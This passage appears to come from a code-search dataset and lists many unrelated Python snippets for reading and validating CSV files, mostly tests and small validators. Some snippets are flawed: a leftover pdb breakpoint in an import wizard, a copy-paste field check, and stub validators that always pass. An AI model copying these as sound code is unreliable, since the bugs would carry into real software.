report_csv_filename)\n with report_store.storage.open(report_path) as csv_file:\n csv_file_data = csv_file.read()\n # Removing unicode signature (BOM) from the beginning\n csv_file_data = csv_file_data.decode(\"utf-8-sig\")\n for data in expected_data:\n self.assertIn(data, csv_file_data)","def test_validate_csv():\n duplicate_keys_file_path = os.path.join(\n TEST_DATA_DIR, \"clubs_invalid_duplicate_keys.csv\"\n )\n\n invalid_headers_file_path = os.path.join(\n TEST_DATA_DIR, \"membership_invalid_syntax.csv\"\n )\n\n # Test duplicate keys\n with open(duplicate_keys_file_path) as test_file:\n test_file = test_file.read()\n\n rows = list(csv.DictReader(StringIO(test_file)))\n\n with pytest.raises(ValidationFailed) as v_error:\n validate_csv(rows)\n\n validation_resp = v_error.value.errors[0]\n assert \"error\" in validation_resp\n duplicate_keys = validation_resp[\"detail\"]\n assert \"5\" in duplicate_keys\n assert \"2\" in duplicate_keys\n\n # Test invalid syntax\n with open(invalid_headers_file_path) as test_file:\n test_file = test_file.read()\n\n rows = list(csv.DictReader(StringIO(test_file)))\n with pytest.raises(ValidationFailed) as v_error:\n validate_csv(rows)\n\n validation_resp = v_error.value.errors[0]\n invalid_rows = [x[\"row\"] for x in validation_resp[\"detail\"]]\n assert \"error\" in validation_resp\n assert 3 in invalid_rows\n assert 4 in invalid_rows\n assert 5 in invalid_rows\n\n # Test unicode decode errors\n test_data = b\"\\xff\\xfe_\\x00k\\x00e\\x00y\\x00,\\x00n\\x00a\\x00m\\x00e\\x00\\n\"\n pytest.raises(DecodeFailed, decode_data, test_data)","def handle_csv(self):\n try:\n reader = csv.reader(open(self.options.datafile, 'r'))\n except IOError:\n errormsg(_('Cannot read \"{}\"'.format(self.options.datafile)))\n raise Exception(_('Cannot read \"{}\"'.format(self.options.datafile)))\n if self.options.var_type == 'name':\n try:\n self.header = reader.next()\n except StopIteration:\n errormsg(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n raise Exception(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n self.data = []\n for row in reader:\n self.data.append(row)","def validate_data(self, row, col, value):\n\n return True","def test_parse_invalid_file(self):\n with pytest.raises(ParserError):\n self.parser.parse(\"invalid csv\")","def test_load_csv_file():\n data = loader.load_csv_file(\"buildup/reference/comsol_solution/lofi/voltage.csv.bz2\")\n\n assert data.any()","def check_meatadata_row(validated, input_validate_dict, row, idx):\n\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\n validated = False\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\n validated = False\n if row['RealCrystalName'] not in row['crystal_name']:\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\n validated = False\n if row['smiles'] == 'nan':\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\n validated = False\n\n return validated, input_validate_dict","def process(self, record):\n is_data = True\n if self.file_path.split('.')[-1] == 'csv':\n if self.header_skip:\n logging.info('Skipping header data... {}'.format(record))\n self.header_skip = False\n is_data = False\n return [(record, None, None, is_data)]\n record_attributes = list(csv.reader([record]))[0]\n if len(record_attributes) != len(self.schema[FIELDS_KEY]):\n if len(record_attributes) > 1 or not record_attributes[0].strip().isdigit():\n IS_VALID_FILE = False\n is_data = None\n return [(record, None, None, is_data)]\n for record_attribute, attribute_schema in zip(\n record_attributes, self.schema[FIELDS_KEY]):\n is_valid_datatype_check = self.__datatype_check(record_attribute, attribute_schema)\n is_valid_null_check = self.__null_check(record_attribute, attribute_schema)\n return [(record, is_valid_datatype_check, is_valid_null_check, is_data)]","def read_csv():","def is_valid(self, dataset):\n pass","def validate_dataset(self):\n pass","def test_csvfile_get_data_impossible_filter(fs: FakeFilesystem) -> None:\n fs.create_file(\"test.csv\", contents=CONTENTS)\n\n adapter = CSVFile(\"test.csv\")\n assert list(adapter.get_data({\"index\": Impossible()}, [])) == []","def test_csvfile_different_types(fs: FakeFilesystem) -> None:\n contents = '''\"a\"\n1\n2.0\n\"test\"'''\n fs.create_file(\"test.csv\", contents=contents)\n\n adapter = CSVFile(\"test.csv\")\n\n assert adapter.get_columns() == {\n \"a\": String(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n }","def filterLines(weatherRDDRecord):\n fieldsList = weatherRDDRecord.split(\",\")\n #return len(fieldsList)\n if any(i.isdigit() for i in fieldsList[0]):\n return True\n else:\n return False","def _validate_row(self, row):\n\n # assume value.\n is_valid = True\n\n # test if each field in @row has the correct data type.\n tests = []\n for field, value in row.items():\n value_type, header_type = (type(value).__name__, \n self.required_headers[field].__name__)\n test = value_type == header_type\n if not test:\n err = \"Field '{}' not valid; expected '{}', got '{}'.\".format(field,\n header_type, value_type)\n self.logger.debug(err)\n tests.append(test)\n\n # if any test failed, set @is_valid to False.\n if False in tests:\n is_valid = False\n \n return is_valid","def test_is_valid_manifest_format_with_csv(caplog):\n assert is_valid_manifest_format(\"tests/test_manifest.csv\") == True\n assert caplog.text == \"\"","def test_delimiter_empty(self):\n with self.assertRaisesRegexp(Exception, \"delimiter\"):\n self.context.frame.import_csv(self.dataset,\n self.schema, delimiter=\"\")","def test_csv_simple_input(self):\n\n # Mix of integer and string data. Ensure that commas and\n # quotes are escaped properly.\n data = [\n {\n 'name': 'Normal string',\n 'item_num': 1,\n },\n {\n 'name': 'String, with, commas',\n 'item_num': 2,\n },\n {\n 'name': 'String with \" quote',\n 'item_num': 3,\n },\n ]\n\n table = TableReportForTesting(data)\n response = table.as_csv(HttpRequest())\n self.assertEqual(response.status_code, 200)\n # Expect cells containing commas to be escaped with quotes.\n content = response.content\n if PY3:\n content = content.decode(settings.DEFAULT_CHARSET).replace('\\x00', '')\n self.assertEqual(\n content,\n 'Name,Item Num\\r\\n'\n 'Normal string,1\\r\\n'\n '\"String, with, commas\",2\\r\\n'\n '\"String with \"\" quote\",3\\r\\n')","def isFormatOk(self, row):\n try:\n date = datetime.strptime(row[0], \"%m/%d/%Y\").date()\n state = fix_text(row[1])\n impressions = int(row[2])\n if impressions < 0:\n raise ValueError\n CTR = float(row[3].replace(\"%\",\"\"))\n if CTR < 0 or CTR > 1:\n raise ValueError\n except ValueError as e:\n print(f\"Wrong format of provided data {row}\", file=sys.stderr)\n return False\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)","def test_with_no_specified_or_inferred_schema(self):\n # should default to creating a schema of all strings\n frame = self.context.frame.import_csv(self.dataset, infer_schema=False)\n expected_schema = [(\"C0\", str), (\"C1\", str), (\"C2\", str)]\n self.assertEqual(frame.schema, expected_schema)","def test_itercsv_emits_data_lines():\n expected = [\n b'Hello,World\\r\\n',\n b'1,2\\r\\n',\n b'3,4\\r\\n'\n ]\n assert list(itercsv(['Hello', 'World'], [[1, 2], [3, 4]])) == expected","def validate_data(self, data):\n # TODO use schema\n assert \"file_contents\" in data, data\n assert \"type\" in data, data","def validate_bed_format(row):\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\n\n return True","def clean(self):\n if self.csv_file:\n #TODO: add category validation here\n self.forms = self.csv_file.get_form_repr()\n self._errors = [0]*self.total_form_count()\n return\n if any(self.errors):\n return","def test_missing_columns(self):\n file = SimpleUploadedFile(\n \"test.csv\",\n b\"msisdn,messaging consent,edd year,edd month,baby dob year,\"\n b\"baby dob month,baby dob day\\n\",\n )\n form = MomConnectImportForm(\n data={\"source\": \"MomConnect Import\"}, files={\"file\": file}\n )\n self.assertTrue(form.is_valid())\n instance = form.save()\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\n [error] = instance.errors.all()\n self.assertEqual(\n error.error, \"Fields edd_day facility_code id_type not found in header\"\n )","def test_schema_duplicate_names_same_type(self):\n # two num1's with same type\n bad = [(\"num1\", int), (\"num1\", int), (\"num2\", int)]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad)","def csv_statistics_validator(stats, schema):\n stats_anomalies = tfdv.validate_statistics(statistics = stats, schema = schema)\n tfdv.display_anomalies(stats_anomalies)\n return stats_anomalies","def _read_csv(self, options, datas):\n csv_data = datas\n if not csv_data:\n return iter([])\n encoding = options.get('encoding')\n if not encoding:\n encoding = options['encoding'] = chardet.detect(csv_data)['encoding'].lower()\n # some versions of chardet (e.g. 2.3.0 but not 3.x) will return\n # utf-(16|32)(le|be), which for python means \"ignore / don't strip\n # BOM\". We don't want that, so rectify the encoding to non-marked\n # IFF the guessed encoding is LE/BE and csv_data starts with a BOM\n bom = BOM_MAP.get(encoding)\n if bom and csv_data.startswith(bom):\n encoding = options['encoding'] = encoding[:-2]\n if encoding != 'utf-8':\n csv_data = csv_data.decode(encoding).encode('utf-8')\n\n separator = options.get('separator')\n if not separator:\n # default for unspecified separator so user gets a message about\n # having to specify it\n separator = ','\n for candidate in (',', ';', '\\t', ' ', '|', unicodedata.lookup('unit separator')):\n # pass through the CSV and check if all rows are the same\n # length & at least 2-wide assume it's the correct one\n it = pycompat.csv_reader(io.BytesIO(csv_data), quotechar=options['quoting'], delimiter=candidate)\n w = None\n for row in it:\n width = len(row)\n if w is None:\n w = width\n if width == 1 or width != w:\n break # next candidate\n else: # nobreak\n separator = options['separator'] = candidate\n break\n csv_iterator = pycompat.csv_reader(\n io.BytesIO(csv_data),\n quotechar=options['quoting'],\n delimiter=separator)\n return (\n row for row in csv_iterator\n if any(x for x in row if x.strip())\n )","def _verify_csv_file_report_notIn(self, report_store, expected_data):\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\n report_path = report_store.path_to(self.course.id, report_csv_filename)\n with report_store.storage.open(report_path) as csv_file:\n csv_file_data = csv_file.read()\n # Removing unicode signature (BOM) from the beginning\n csv_file_data = csv_file_data.decode(\"utf-8-sig\")\n for data in expected_data:\n self.assertNotIn(data, csv_file_data)","def test_misc_csv_read():\n r = csv_reader(\"../test/test.csv\")\n fields = r.hdr()\n data = str(fields)\n while True:\n row = r.row()\n if not row: break\n data += '\\n' + str(row)\n\n assert(data == \"\"\"\n['EVT_CODE*', 'EVT_DATE.DE', 'CODE', 'AGE', 'FRST', 'LST', 'SPEC', 'de.id']\n['tea', '2018/01/01', 'X', '35', 'PRE', 'WHO', 'BUG', '1']\n['coffee', '2018/05/05', 'X', '35', 'JAN,Z', 'WHO', 'FRG', '1']\n['water', '2018/01/01', 'Y', '35', 'TAN', 'POST', 'CAT', '2']\n \"\"\".strip())","def test_csv_row_bug(script_runner, tmpdir, test_dir):\n csv_file = tmpdir / 'csv_file.csv'\n\n ret = script_runner.run(\n 'mwcp-tool', '-p', 'foo', '-c', str(csv_file), str(test_dir), cwd=str(tmpdir))\n print(ret.stdout)\n print(ret.stderr, file=sys.stderr)\n assert ret.success\n\n assert csv_file.exists()\n\n with csv_file.open('r') as fo:\n reader = csv.reader(fo)\n rows = list(reader)\n assert len(rows) == len(test_dir.listdir()) + 1\n assert rows[0] == ['scan_date', 'inputfilename', 'outputfile.name',\n 'outputfile.description', 'outputfile.md5', 'address', 'debug', 'url']\n for i, row in enumerate(rows[1:]):\n assert row[0] and row[1]\n # Test entries except the timestamp and full file path.\n assert row[2:] == [\n 'fooconfigtest.txt',\n 'example output file',\n '5eb63bbbe01eeed093cb22bb8f5acdc3',\n '127.0.0.1',\n ('[+] File test_{0}.txt identified as Foo.\\n'\n '[+] size of inputfile is 23 bytes\\n'\n '[+] operating on inputfile test_{0}.txt').format(i),\n 'http://127.0.0.1',\n ]","def test_csv(self, input_file_path: str, answer_file_path: List[Dict]):\n with open(attach_path(answer_file_path), 'r') as answer_file:\n csv_file = open(attach_path(input_file_path))\n assert str(read_csv(csv_file)) == answer_file.read().strip()","def validate(self, row):\n raise NotImplementedError","def isLineData(self, line):\n\n if line is None or line.strip().startswith('#'):\n return False, None, 0\n\n dataType = self.getDataType()\n\n if dataType == 'Y':\n # Y with 1 column\n try:\n yValue = float(line)\n\n return True, 'Y', 1\n except:\n pass\n\n # Y with comma 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split(',')\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n newYValues = []\n for yValue in yValueList:\n try:\n yValue = float(yValue)\n newYValues.append(yValue)\n except ValueError:\n pass\n\n return True, 'Y', len(newYValues)\n except:\n pass\n\n # Y with space 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split()\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n for yValue in yValueList:\n yValue = float(yValue)\n\n return True, 'Y', len(yValueList)\n except:\n pass\n elif dataType == 'XY':\n # XY with comma\n try:\n (xValue, yValue) = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with comma\n try:\n xValue, yValue, dummy = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with space\n try:\n (xValue, yValue) = line.split()\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n else:\n # Y with 1 column\n try:\n yValue = float(line)\n\n return True, 'Y', 1\n except:\n pass\n\n # Y with comma 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split(',')\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n numberValues = 0\n for yValue in yValueList:\n try:\n yValue = float(yValue)\n numberValues += 1\n except ValueError:\n pass\n\n return True, 'Y', numberValues\n except:\n pass\n\n # Y with space 2 to 5 column\n try:\n yValueList = []\n yValueList = line.split()\n\n if len(yValueList) > 1 and len(yValueList) <= 5:\n for yValue in yValueList:\n yValue = float(yValue)\n\n return True, 'Y', len(yValueList)\n except:\n pass\n\n # XY with comma\n try:\n (xValue, yValue) = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with comma\n try:\n xValue, yValue, dummy = line.split(',')\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n # XY with space\n try:\n (xValue, yValue) = line.split()\n\n xValue = float(xValue)\n yValue = float(yValue)\n\n return True, 'XY', 2\n except:\n pass\n\n return False, None, 0","def validate_column_names(self, cols):\n self.stdout.write('Verifying CSV header')\n csv_cols = set(cols)\n if self.required_csv_columns <= csv_cols:\n return True\n else:\n missing_cols = set(self.required_csv_columns).difference(csv_cols)\n raise ValidationError(\n \"These columns '{0}' are required, but missing in the CSV \"\n \"file.\".format(\n ', '.join(missing_cols)\n )\n )","def test_is_valid_row(self):\n dognames = student_submission.read_csv('./dognames.csv')\n\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\n 'Your implementation seems wrong')\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\n 'Your implementation seems wrong')\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\n 'Your implementation seems wrong')\n\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\n 'Your implementation seems wrong')","def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\n contents = \"\"\"\"a\",\"b\"\n1,2\"\"\"\n fs.create_file(\"test.csv\", contents=contents)\n\n adapter = CSVFile(\"test.csv\")\n\n assert adapter.get_columns() == {\n \"a\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n \"b\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n }\n assert list(adapter.get_data({}, [])) == [{\"a\": 1.0, \"b\": 2.0, \"rowid\": 0}]","def test_schema_duplicate_names_diff_type(self):\n # double num1's same type\n bad = [(\"num1\", int), (\"num1\", str), (\"num2\", int)]\n with self.assertRaisesRegexp(Exception, \"more than one char\"):\n self.context.frame.import_csv(self.dataset, bad)","def test_delimiter_none(self):\n with self.assertRaisesRegexp(Exception, \"delimiter\"):\n self.context.frame.import_csv(self.dataset,\n self.schema, delimiter=None)","def check_data(self):\n\n for i in range(len(self.full_ed_lines)):\n if self.full_ed_lines[i].text() != \"\":\n if self.full_ed_lines[i].hasAcceptableInput():\n continue\n else:\n if i == 1:\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\n elif i == 5:\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\n return False\n else:\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\n return False\n return True","def check_csv_headers(csvfile, headers):\n\n with open(csvfile, 'rb') as f:\n csv_header = f.readline()\n\n # Check the lower ones\n if headers[1][0] not in csv_header.lower():\n return False\n\n return True","def has_invalid_lines(self):\n # Convience variables\n sample_id = self._sample_sheet.sample_id_column\n sample_name = self._sample_sheet.sample_name_column\n sample_project = self._sample_sheet.sample_project_column\n # Look at first line to see which items have been provided\n line = self._sample_sheet.data[0]\n has_sample_id = line[sample_id] != ''\n has_sample_name = (sample_name is not None) and \\\n (line[sample_name] != '')\n has_project = line[sample_project] != ''\n # Look for invalid data lines\n invalid_lines = []\n for line in self._sample_sheet.data:\n if self._sample_sheet.has_lanes and line['Lane'] == '':\n invalid_lines.append(line)\n elif has_sample_id and line[sample_id] == '':\n invalid_lines.append(line)\n elif has_sample_name and line[sample_name] == '':\n invalid_lines.append(line)\n elif has_project and line[sample_project] == '':\n invalid_lines.append(line)\n return invalid_lines","def _validate_date(self, col):\r\n error_rows = [] # initialize list of rows with errors\r\n # Loop through data and validate time values\r\n for i, row in enumerate(self.rows):\r\n csv_row = i + 1\r\n date_of_survey = row[col]\r\n try:\r\n [m, d, y] = date_of_survey.split('/')\r\n testdate = datetime.date(int(y), int(m), int(d))\r\n except:\r\n error_rows.append(csv_row)\r\n return error_rows","def line_is_valid(line):\n if '-' in map(lambda item: item.strip(), line.strip().split(\";\")):\n return False\n else:\n return True","def test_non_int_value_raises_an_exception():\n test_file = StringIO(\n u'fri,wed\\na,6'\n )\n\n csv_parser = CSVParser(test_file)\n\n with pytest.raises(ValueError):\n csv_parser.parse()","def __input_data_ok(self, line=None):\n # valid pattern: 1407478022|www.facebook.com\n valid_pattern = re.compile(\"\\w{10}\\|\\w+\")\n if (line) and (re.match(valid_pattern, line)):\n return True\n else:\n return False","def loadCSV(input_file):","def validate_file(self):\n filename = str(self.filename)\n self.is_error = False\n self.message = \"\"\n if not (filename.endswith('xls') or filename.endswith('xlsx') or filename.endswith('csv')):\n self.message += \"Please Import only '.xls' or '.xlsx' or '.csv' File.\"\n elif (filename.endswith('xls') or filename.endswith('xlsx')):\n column_list = ['id', 'quantity']\n\n wb = xlrd.open_workbook(\n file_contents=base64.decodestring(self.xls_file))\n sheet = wb.sheet_by_index(0)\n row = sheet.row_values(0)\n invalid_cols = []\n import pdb;pdb.set_trace()\n for key in row:\n key = key.encode('ascii', 'ignore')\n if key.lower() not in column_list:\n invalid_cols.append(key)\n if invalid_cols:\n self.message = \"Invalid Column Name %s\", ', '.join(\n invalid_cols)\n if not self.message:\n for i in range(1, sheet.nrows):\n row = sheet.row_values(i)\n firstrow = sheet.row_values(0)\n firstrow = [str(item).lower() for item in firstrow]\n product_obj = self.env['product.product'].search(\n [('id', '=', row[firstrow.index('id')])])\n if not row[firstrow.index('quantity')]:\n self.message += \"Enter Quantity In Your Excel File\"\n if not product_obj:\n self.message += \"Enter Valid Product Id In Your Excel File\"\n else:\n column_list = ['id', 'quantity']\n xls_file = base64.b64decode(self.xls_file)\n file_input = cStringIO.StringIO(xls_file)\n file_input.seek(0)\n rows = []\n delimeter = ','\n reader = csv.reader(file_input, delimiter=delimeter,\n lineterminator='\\r\\n')\n for row in reader:\n rows.append(row)\n firstrow = [str(item).lower() for item in rows[0]]\n match = [column for column in firstrow if column not in column_list]\n if match:\n self.message += \"Enter Valid Column Name\"\n if not self.message:\n for row in rows[1:]:\n rows[0] = [str(item).lower() for item in rows[0]]\n product_obj = self.env['product.product'].search(\n [('id', '=', row[rows[0].index('id')])])\n if not row[rows[0].index('quantity')]:\n self.message += \"Enter Quantity In Your Excel File\"\n if not product_obj:\n self.message += \"Enter Valid Product Id In Your Excel File\"\n\n if self.message:\n self.is_error = True\n if not self.is_error:\n self.is_validate = True\n return {\n 'res_id': self.id,\n 'view_id': self.env.ref('import_stock_inventory_drc.import_stock_inventory_view_wizard_form').ids,\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'stock.inventory.wizard',\n 'type': 'ir.actions.act_window',\n 'target': 'new'\n }","def place_types_read_csv(self, csv_input):\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''])\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\n self.log.info('Data read from CSV %s' % csv_input)","def read_csv(self, csv_input):\n # https://stackoverflow.com/a/45063514\n dtypes = {\n 'lat': 'U',\n 'long': 'U'\n }\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\n\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\n self.log.info('Data read from CSV %s' % csv_input)\n #print('Data read from CSV %s' % csv_input)","def isValid(self):\n return self.file_name != \"\" and self.line_number != 0","def test_row_parsing(self, tmpdir):\n json_file = str(tmpdir.join(\"f.json\"))\n with open(json_file, \"w\") as f:\n json.dump({\"ds\": [{\"file\": \"data.nc\", \"size\": 0, \"mtime\": 0, \"sha256\": 0}]}, f)\n\n create = CsvRowDataset.from_strings\n\n # Check extraneous whitespace is ignored and Yes/No to boolean\n # conversion\n got1 = create([\"ds\", \"100\", \" url\", \"title, here\", \"no\", \"Yes\", json_file])\n expected1 = CsvRowDataset(\"ds\", 100, \"url\", \"title, here\", False, True, json_file)\n assert got1 == expected1\n\n got2 = create([\"ds\", \"100\", \" url\", \"title, here\", \"No\", \"yes\", json_file])\n expected2 = CsvRowDataset(\"ds\", 100, \"url\", \"title, here\", False, True, json_file)\n assert got2 == expected2\n\n # Check invalid int and bool values\n assert pytest.raises(ValueError, create, [\"ds\", \"blah\", \"url\", \"title\", \"Yes\", json_file])\n assert pytest.raises(ValueError, create, [\"ds\", \"200\", \"url\", \"title\", \"blah\", json_file])","def IsValid(self):\n return (TickerFull.DelimiterSplit not in self.Text) and (TickerDataType.DelimiterData in self.Text)","def has_header_row(self, strdata):\n debug = False\n comma_dec_sep_ok = True\n if debug: print(strdata)\n if len(strdata) < 2: ## a header row needs a following row to be a header\n return False\n row1_types = [lib.get_val_type(val, comma_dec_sep_ok) \n for val in strdata[0]]\n row2_types = [lib.get_val_type(val, comma_dec_sep_ok) \n for val in strdata[1]]\n str_type = mg.VAL_STRING\n empty_type = mg.VAL_EMPTY_STRING\n non_str_types = [mg.VAL_DATE, mg.VAL_NUMERIC]\n return importer.has_header_row(\n row1_types, row2_types, str_type, empty_type, non_str_types)","def test_invalid_csv(self):\n cwd=os.getcwd()\n url=\"http://stackoverflow.com/questions/17730173/python-cant-get-full-path-name-of-file\"\n with self.assertRaises(TypeError):\n requester.url_to_csv(url,\"{0}/{1}.csv\".format(cwd,'tester'))","def test_read_in_file(self):\r\n filename = \"CrimeDataSmall.csv\"\r\n\r\n lst = cds.read_in_file(filename)\r\n\r\n self.assertIsInstance(lst, list, \"Returned datatype should be a list\")\r\n self.assertEqual(len(lst), 4, \"There should be 4 rows returned from CrimeDataSmall 1 header and 3 data rows\")\r\n self.assertEqual(len(lst[0]), 23, \"Each row should have 23 columns\")\r\n self.assertEqual(lst[0][1], \"Reported_Date\", \"Column 1 was incorrect header\")\r\n self.assertEqual(lst[0][7], \"Offense\", \"Column 7 was incorrect header\")\r\n self.assertEqual(lst[0][13], \"Zip Code\", \"Column 13 header was incorrect\")\r\n self.assertEqual(lst[1][1], \"03/19/2019\", \"Column 1 was incorrect in first data row\")\r\n self.assertEqual(lst[1][7], \"Vehicular – Non-Injury\", \"Column 7 was incorrect in first data row\")\r\n self.assertEqual(lst[1][13], \"64161\", \"Column 13 in first data row was incorrect\")\r\n self.assertEqual(lst[3][1], \"03/27/2019\", \"Column 1 was incorrect in 3rd data row\")\r\n self.assertEqual(lst[3][7], \"Embezzlement\", \"Column 7 was incorrect 3rd data row\")\r\n self.assertEqual(lst[3][13], \"64112\", \"Column 13 3rd data row was incorrect\")\r\n self.assertEqual(lst[3][11], \"4600, S WORNALL RD\", \"Column 11 3rd data row was incorrect. Use csv module to read \")","def test_invalid_file_type(self):\n file = SimpleUploadedFile(\"test.csv\", b\"\\xe8\")\n form = MomConnectImportForm(\n data={\"source\": \"MomConnect Import\"}, files={\"file\": file}\n )\n self.assertTrue(form.is_valid())\n instance = form.save()\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\n [error] = instance.errors.all()\n self.assertEqual(error.error, \"File is not a CSV\")","def _validate_header(self, header_row):\n\n self.logger.info(\"Validating header row.\")\n \n # assume value.\n is_valid = True\n\n # check if @header_row is perfect.\n required_keys = tuple(self.required_headers.keys())\n if sorted(header_row) == sorted(required_keys):\n self.logger.info(\"Header is valid.\")\n return is_valid\n else:\n self.logger.error(\"Header is invalid.\")\n is_valid = False\n\n # report on any missing header fields.\n missing_headers = [header for header in self.required_headers if header not in\n header_row]\n if len(missing_headers) != 0:\n self.logger.warning(\"Missing required fields: {}\".format(missing_headers))\n \n # report on any duplicate fields.\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\n if len(duplicate_headers) != 0:\n self.logger.warning(\"Found duplicate fields: {}\".format(set(duplicate_headers)))\n\n # report on any extra fields.\n extra_headers = [header for header in header_row if header not in \n self.required_headers]\n if len(extra_headers) != 0:\n self.logger.warning(\"Found extra fields: {}\".format(extra_headers))\n \n return is_valid","def test_csvfile_empty_get_data(fs: FakeFilesystem) -> None:\n path = fs.create_file(\"test.csv\", contents=CONTENTS)\n\n adapter = CSVFile(\"test.csv\")\n path.set_contents(\"\")\n\n with pytest.raises(ProgrammingError) as excinfo:\n list(adapter.get_data({}, []))\n assert str(excinfo.value) == \"The file has no rows\"","def test_csv_no_callback(self):\n csvfile = testdata.create_csv({\n \"foo\": testdata.get_int(),\n \"bar\": testdata.get_words(),\n })\n self.assertEqual(1, len(csvfile))","def __read_csv(self) -> tuple:\n with open(self.csv_file) as f:\n reader = csv.reader(f)\n for row in reader:\n if row[0].isspace():\n raise StopIteration\n yield row","def _check_duplicate_id_csv(self):\n all_csv_ids = []\n self.msg_args = []\n for csv_file_rel in self.filter_files_ext('csv', relpath=True):\n csv_file = os.path.join(self.module_path, csv_file_rel)\n if os.path.basename(csv_file) == 'ir.model.access.csv':\n all_csv_ids.extend(self.get_field_csv(csv_file))\n duplicated_ids_csv = self.get_duplicated_items(all_csv_ids)\n for duplicated_id_csv in duplicated_ids_csv:\n self.msg_args.append((csv_file_rel, duplicated_id_csv))\n if duplicated_ids_csv:\n return False\n return True","def test_csv_exceptions(self, error, input_file_path: str, msg: str):\n with pytest.raises(error) as context:\n csv_file = open(attach_path(input_file_path))\n read_csv(csv_file)\n assert str(context.value) == msg","def test_csv_import_hotel_fail(self):\n from django.contrib.messages import get_messages\n path = reverse(\"import-csv\")\n user = mixer.blend(User, is_staff=True, is_superuser=True)\n client = Client()\n client.force_login(user)\n file = open(\"hotel.csv\")\n r = client.post(path, {\"title\": \"hotel\", \"csv_file\": file})\n messages = list(get_messages(r.wsgi_request))\n assert r.status_code == 200\n assert len(messages) >= 1\n for message in messages:\n assert \"can not import\" in str(message)","def test_parser():\n data = parse_csv(TEST_DATA)\n assert data['2020-01-03'] == ['recycle']\n assert data['2020-01-08'] == ['bio', 'trash']\n assert data['2021-01-09'] == ['christmas']","def test_csv_reader_header_fields(process_data):\n data = process_data(file_name_or_type='clean_map.csv')\n header_fields = list(data[0].keys())\n assert header_fields == [\n 'Country',\n 'City',\n 'State_Or_Province',\n 'Lat',\n 'Long',\n 'Altitude'\n ]","def test_without_schema(self):\n frame = self.context.frame.import_csv(self.dataset)\n expected_inferred_schema = [(\"C0\", int), (\"C1\", str), (\"C2\", int)]\n self.assertEqual(frame.schema, expected_inferred_schema)","def test_with_valid_input(self):\n for dataset_type in ['regular', 'raw', 'REGULAR', 'RAW']:\n try:\n check_dataset_type(dataset_type)\n except ValueError:\n self.fail(\"Dataset {0} should be valid\".format(dataset_type))","def parse_csv(csv_file):\n if os.path.isfile(csv_file) == True:\n num_lines = sum(1 for line in open(csv_file))\n if num_lines > 1:\n try:\n data = pd.read_csv(csv_file, index_col=False)\n data.insert(0, 'id', range(1, 1 + len(data)))\n return(data)\n except pd.parser.CParserError, err:\n message = \"Can't parse REDCap data. Check CSV file: \" + csv_file\n print(message)\n logging.critical(message)\n exit(3)\n else:\n message = \"CSV file does not contain data: \" + csv_file\n print(message)\n logging.warning(message)\n return(None)\n else:\n message = \"Can't read CSV file: \" + csv_file\n print(message)\n logging.critical(message)\n exit(4)","def valid_ogfile(listname):\r\n global original_file, directory_og\r\n listname = listname.split(\".\")[0] #get rid of adapting or notadapting\r\n try:\r\n original_file = 